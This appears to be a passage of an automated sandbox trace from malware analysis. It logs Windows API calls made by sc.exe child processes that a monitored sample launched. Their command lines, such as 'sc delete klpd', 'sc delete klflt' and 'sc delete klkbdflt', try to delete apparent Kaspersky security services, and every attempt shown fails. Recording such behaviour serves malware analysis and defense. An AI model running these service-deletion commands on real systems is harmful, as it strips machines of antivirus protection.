_wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0077.916] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0077.916] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0077.916] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0077.916] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0077.916] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0077.916] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0077.916] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0077.916] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0077.916] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0077.916] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0077.916] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0077.916] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0077.916] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0077.916] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0077.916] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2d4360 [0077.921] OpenServiceW (hSCManager=0x2d4360, lpServiceName="KLIF", dwDesiredAccess=0x10000) returned 0x0 [0077.921] GetLastError () returned 0x424 [0077.921] _itow (in: _Dest=0x424, _Radix=1243928 | out: _Dest=0x424) returned="1060" [0077.922] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff6ab740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0077.923] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x12fad0, nSize=0x2, Arguments=0x12fb00 | out: lpBuffer="趰-") returned 0x62 [0077.923] GetFileType (hFile=0x120) returned 0x3 [0077.923] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x2d8e90 [0077.923] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x2d8e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n-", lpUsedDefaultChar=0x0) returned 98 [0077.923] WriteFile (in: hFile=0x120, lpBuffer=0x2d8e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x12fa78, lpOverlapped=0x0 | out: lpBuffer=0x2d8e90*, lpNumberOfBytesWritten=0x12fa78*=0x62, lpOverlapped=0x0) returned 1 [0077.924] LocalFree (hMem=0x2d8e90) returned 0x0 [0077.924] LocalFree (hMem=0x2d8db0) returned 0x0 [0077.924] LocalFree (hMem=0x0) returned 0x0 [0077.924] CloseServiceHandle (hSCObject=0x2d4360) returned 1 [0077.927] exit (_Code=1060) Thread: id = 89 os_tid = 0xb58 Process: id = "45" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x45be0000" os_pid = "0xb20" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete klpd" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 90 os_tid = 0xb74 [0078.091] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20fed0 | out: lpSystemTimeAsFileTime=0x20fed0*(dwLowDateTime=0x37eb0390, dwHighDateTime=0x1d62786)) [0078.091] GetCurrentProcessId () returned 0xb20 [0078.091] GetCurrentThreadId () returned 0xb74 [0078.091] GetTickCount () returned 0x1149924 [0078.091] QueryPerformanceCounter (in: lpPerformanceCount=0x20fed8 | out: lpPerformanceCount=0x20fed8*=19796484577) returned 1 [0078.093] GetModuleHandleW (lpModuleName=0x0) returned 0xff800000 [0078.093] __set_app_type (_Type=0x1) [0078.093] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff807228) returned 0x0 [0078.093] __wgetmainargs (in: _Argc=0xff80b604, _Argv=0xff80b610, _Env=0xff80b608, _DoWildCard=0, _StartInfo=0xff80b050 | out: _Argc=0xff80b604, _Argv=0xff80b610, _Env=0xff80b608) returned 0 [0078.094] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.097] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0078.097] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0078.097] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0078.097] _wcsicmp (_String1="delete", _String2="query") returned -13 [0078.097] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0078.097] _wcsicmp (_String1="delete", _String2="start") returned -15 [0078.097] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0078.097] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0078.097] _wcsicmp (_String1="delete", _String2="control") returned 1 [0078.097] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0078.097] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0078.097] _wcsicmp (_String1="delete", _String2="config") returned 1 [0078.097] _wcsicmp (_String1="delete", _String2="description") returned -7 [0078.097] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0078.097] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0078.097] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0078.097] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0078.097] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0078.097] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0078.097] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0078.097] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0078.097] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0078.097] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0078.097] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0078.097] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0078.097] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0078.098] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0078.098] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0078.098] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0078.098] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0078.098] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0078.098] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x354360 [0078.101] OpenServiceW (hSCManager=0x354360, lpServiceName="klpd", dwDesiredAccess=0x10000) returned 0x0 [0078.101] GetLastError () returned 0x424 [0078.101] _itow (in: _Dest=0x424, _Radix=2161976 | out: _Dest=0x424) returned="1060" [0078.101] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff80b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0078.103] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x20fcf0, nSize=0x2, Arguments=0x20fd20 | out: lpBuffer="趰5") returned 0x62 [0078.103] GetFileType (hFile=0x120) returned 0x3 [0078.103] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x358e90 [0078.103] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x358e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n5", lpUsedDefaultChar=0x0) returned 98 [0078.103] WriteFile (in: hFile=0x120, lpBuffer=0x358e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20fc98, lpOverlapped=0x0 | out: lpBuffer=0x358e90*, lpNumberOfBytesWritten=0x20fc98*=0x62, lpOverlapped=0x0) returned 1 [0078.103] LocalFree (hMem=0x358e90) returned 0x0 [0078.103] LocalFree (hMem=0x358db0) returned 0x0 [0078.103] LocalFree (hMem=0x0) returned 0x0 [0078.104] CloseServiceHandle (hSCObject=0x354360) returned 1 [0078.106] exit (_Code=1060) Thread: id = 91 os_tid = 0x3a4 Process: id = "46" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x44fe5000" os_pid = "0x5f4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete klflt" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 92 os_tid = 0xb84 [0078.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20fb50 | out: lpSystemTimeAsFileTime=0x20fb50*(dwLowDateTime=0x37f94bd0, dwHighDateTime=0x1d62786)) [0078.185] GetCurrentProcessId () returned 0x5f4 [0078.185] GetCurrentThreadId () returned 0xb84 [0078.185] GetTickCount () returned 0x1149982 [0078.185] QueryPerformanceCounter (in: lpPerformanceCount=0x20fb58 | out: lpPerformanceCount=0x20fb58*=19805845234) returned 1 [0078.186] GetModuleHandleW (lpModuleName=0x0) returned 0xff0b0000 [0078.186] __set_app_type (_Type=0x1) [0078.186] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff0b7228) returned 0x0 [0078.187] __wgetmainargs (in: _Argc=0xff0bb604, _Argv=0xff0bb610, _Env=0xff0bb608, _DoWildCard=0, _StartInfo=0xff0bb050 | out: _Argc=0xff0bb604, _Argv=0xff0bb610, _Env=0xff0bb608) returned 0 [0078.187] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.189] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0078.190] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0078.190] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0078.190] _wcsicmp (_String1="delete", _String2="query") returned -13 [0078.190] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0078.190] _wcsicmp (_String1="delete", _String2="start") returned -15 [0078.190] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0078.190] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0078.190] _wcsicmp (_String1="delete", _String2="control") returned 1 [0078.190] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0078.190] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0078.190] _wcsicmp (_String1="delete", _String2="config") returned 1 [0078.190] _wcsicmp (_String1="delete", _String2="description") returned -7 [0078.190] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0078.190] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0078.190] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0078.191] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0078.191] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0078.191] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0078.191] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0078.191] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0078.191] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0078.191] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0078.191] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0078.191] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0078.191] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0078.191] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0078.191] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0078.191] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0078.191] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0078.191] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0078.191] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3e4370 [0078.195] OpenServiceW (hSCManager=0x3e4370, lpServiceName="klflt", dwDesiredAccess=0x10000) returned 0x0 [0078.195] GetLastError () returned 0x424 [0078.196] _itow (in: _Dest=0x424, _Radix=2161080 | out: _Dest=0x424) returned="1060" [0078.196] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff0bb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0078.197] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x20f970, nSize=0x2, Arguments=0x20f9a0 | out: lpBuffer="跀>") returned 0x62 [0078.198] GetFileType (hFile=0x120) returned 0x3 [0078.198] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x3e8ea0 [0078.198] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x3e8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n>", lpUsedDefaultChar=0x0) returned 98 [0078.198] WriteFile (in: hFile=0x120, lpBuffer=0x3e8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f918, lpOverlapped=0x0 | out: lpBuffer=0x3e8ea0*, lpNumberOfBytesWritten=0x20f918*=0x62, lpOverlapped=0x0) returned 1 [0078.198] LocalFree (hMem=0x3e8ea0) returned 0x0 [0078.198] LocalFree (hMem=0x3e8dc0) returned 0x0 [0078.198] LocalFree (hMem=0x0) returned 0x0 [0078.198] CloseServiceHandle (hSCObject=0x3e4370) returned 1 [0078.200] exit (_Code=1060) Thread: id = 93 os_tid = 0xae0 Process: id = "47" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x448ea000" os_pid = "0xaf8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete klbackupdisk" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 94 os_tid = 0xb1c [0078.256] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22f790 | out: lpSystemTimeAsFileTime=0x22f790*(dwLowDateTime=0x380532b0, dwHighDateTime=0x1d62786)) [0078.257] GetCurrentProcessId () returned 0xaf8 [0078.257] GetCurrentThreadId () returned 0xb1c [0078.257] GetTickCount () returned 0x11499d0 [0078.257] QueryPerformanceCounter (in: lpPerformanceCount=0x22f798 | out: lpPerformanceCount=0x22f798*=19813030896) returned 1 [0078.258] GetModuleHandleW (lpModuleName=0x0) returned 0xffe10000 [0078.258] __set_app_type (_Type=0x1) [0078.258] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffe17228) returned 0x0 [0078.258] __wgetmainargs (in: _Argc=0xffe1b604, _Argv=0xffe1b610, _Env=0xffe1b608, _DoWildCard=0, _StartInfo=0xffe1b050 | out: _Argc=0xffe1b604, _Argv=0xffe1b610, _Env=0xffe1b608) returned 0 [0078.259] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.263] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0078.263] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0078.264] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0078.264] _wcsicmp (_String1="delete", _String2="query") returned -13 [0078.264] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0078.264] _wcsicmp (_String1="delete", _String2="start") returned -15 [0078.264] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0078.264] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0078.264] _wcsicmp (_String1="delete", _String2="control") returned 1 [0078.264] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0078.264] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0078.264] _wcsicmp (_String1="delete", _String2="config") returned 1 [0078.264] _wcsicmp (_String1="delete", _String2="description") returned -7 [0078.264] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0078.264] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0078.264] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0078.264] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0078.264] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0078.264] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0078.264] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0078.264] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0078.264] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0078.264] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0078.264] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0078.264] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0078.264] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0078.264] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0078.264] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0078.264] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0078.264] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0078.265] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0078.265] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x414370 [0078.270] OpenServiceW (hSCManager=0x414370, lpServiceName="klbackupdisk", dwDesiredAccess=0x10000) returned 0x0 [0078.271] GetLastError () returned 0x424 [0078.271] _itow (in: _Dest=0x424, _Radix=2291192 | out: _Dest=0x424) returned="1060" [0078.271] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffe1b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0078.273] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x22f5b0, nSize=0x2, Arguments=0x22f5e0 | out: lpBuffer="跀A") returned 0x62 [0078.274] GetFileType (hFile=0x120) returned 0x3 [0078.274] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x418ea0 [0078.274] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x418ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\nA", lpUsedDefaultChar=0x0) returned 98 [0078.274] WriteFile (in: hFile=0x120, lpBuffer=0x418ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x22f558, lpOverlapped=0x0 | out: lpBuffer=0x418ea0*, lpNumberOfBytesWritten=0x22f558*=0x62, lpOverlapped=0x0) returned 1 [0078.274] LocalFree (hMem=0x418ea0) returned 0x0 [0078.274] LocalFree (hMem=0x418dc0) returned 0x0 [0078.274] LocalFree (hMem=0x0) returned 0x0 [0078.274] CloseServiceHandle (hSCObject=0x414370) returned 1 [0078.287] exit (_Code=1060) Thread: id = 95 os_tid = 0xb64 Process: id = "48" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x456ef000" os_pid = "0x1c4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete klbackupflt" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 96 os_tid = 0xb44 [0078.360] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24f910 | out: lpSystemTimeAsFileTime=0x24f910*(dwLowDateTime=0x38137af0, dwHighDateTime=0x1d62786)) [0078.360] GetCurrentProcessId () returned 0x1c4 [0078.360] GetCurrentThreadId () returned 0xb44 [0078.360] GetTickCount () returned 0x1149a2e [0078.360] QueryPerformanceCounter (in: lpPerformanceCount=0x24f918 | out: lpPerformanceCount=0x24f918*=19823358605) returned 1 [0078.362] GetModuleHandleW (lpModuleName=0x0) returned 0xff2d0000 [0078.363] __set_app_type (_Type=0x1) [0078.363] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff2d7228) returned 0x0 [0078.363] __wgetmainargs (in: _Argc=0xff2db604, _Argv=0xff2db610, _Env=0xff2db608, _DoWildCard=0, _StartInfo=0xff2db050 | out: _Argc=0xff2db604, _Argv=0xff2db610, _Env=0xff2db608) returned 0 [0078.364] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.366] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0078.366] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0078.366] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0078.366] _wcsicmp (_String1="delete", _String2="query") returned -13 [0078.366] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0078.366] _wcsicmp (_String1="delete", _String2="start") returned -15 [0078.366] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0078.366] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0078.366] _wcsicmp (_String1="delete", _String2="control") returned 1 [0078.366] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0078.366] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0078.366] _wcsicmp (_String1="delete", _String2="config") returned 1 [0078.366] _wcsicmp (_String1="delete", _String2="description") returned -7 [0078.366] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0078.366] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0078.366] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0078.366] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0078.367] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0078.367] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0078.367] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0078.367] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0078.367] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0078.367] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0078.367] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0078.367] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0078.367] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0078.367] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0078.367] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0078.367] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0078.367] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0078.367] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0078.367] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3c4370 [0078.371] OpenServiceW (hSCManager=0x3c4370, lpServiceName="klbackupflt", dwDesiredAccess=0x10000) returned 0x0 [0078.371] GetLastError () returned 0x424 [0078.371] _itow (in: _Dest=0x424, _Radix=2422648 | out: _Dest=0x424) returned="1060" [0078.371] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff2db740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0078.373] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x24f730, nSize=0x2, Arguments=0x24f760 | out: lpBuffer="跀<") returned 0x62 [0078.373] GetFileType (hFile=0x120) returned 0x3 [0078.373] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x3c8ea0 [0078.373] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x3c8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n<", lpUsedDefaultChar=0x0) returned 98 [0078.373] WriteFile (in: hFile=0x120, lpBuffer=0x3c8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x24f6d8, lpOverlapped=0x0 | out: lpBuffer=0x3c8ea0*, lpNumberOfBytesWritten=0x24f6d8*=0x62, lpOverlapped=0x0) returned 1 [0078.373] LocalFree (hMem=0x3c8ea0) returned 0x0 [0078.373] LocalFree (hMem=0x3c8dc0) returned 0x0 [0078.373] LocalFree (hMem=0x0) returned 0x0 [0078.373] CloseServiceHandle (hSCObject=0x3c4370) returned 1 [0078.375] exit (_Code=1060) Thread: id = 97 os_tid = 0xb24 Process: id = "49" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x45cf4000" os_pid = "0xaec" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete klkbdflt" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 98 os_tid = 0xbb4 [0078.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22f8d0 | out: lpSystemTimeAsFileTime=0x22f8d0*(dwLowDateTime=0x381f61d0, dwHighDateTime=0x1d62786)) [0078.433] GetCurrentProcessId () returned 0xaec [0078.433] GetCurrentThreadId () returned 0xbb4 [0078.433] GetTickCount () returned 0x1149a7c [0078.433] QueryPerformanceCounter (in: lpPerformanceCount=0x22f8d8 | out: lpPerformanceCount=0x22f8d8*=19830641789) returned 1 [0078.435] GetModuleHandleW (lpModuleName=0x0) returned 0xff5f0000 [0078.435] 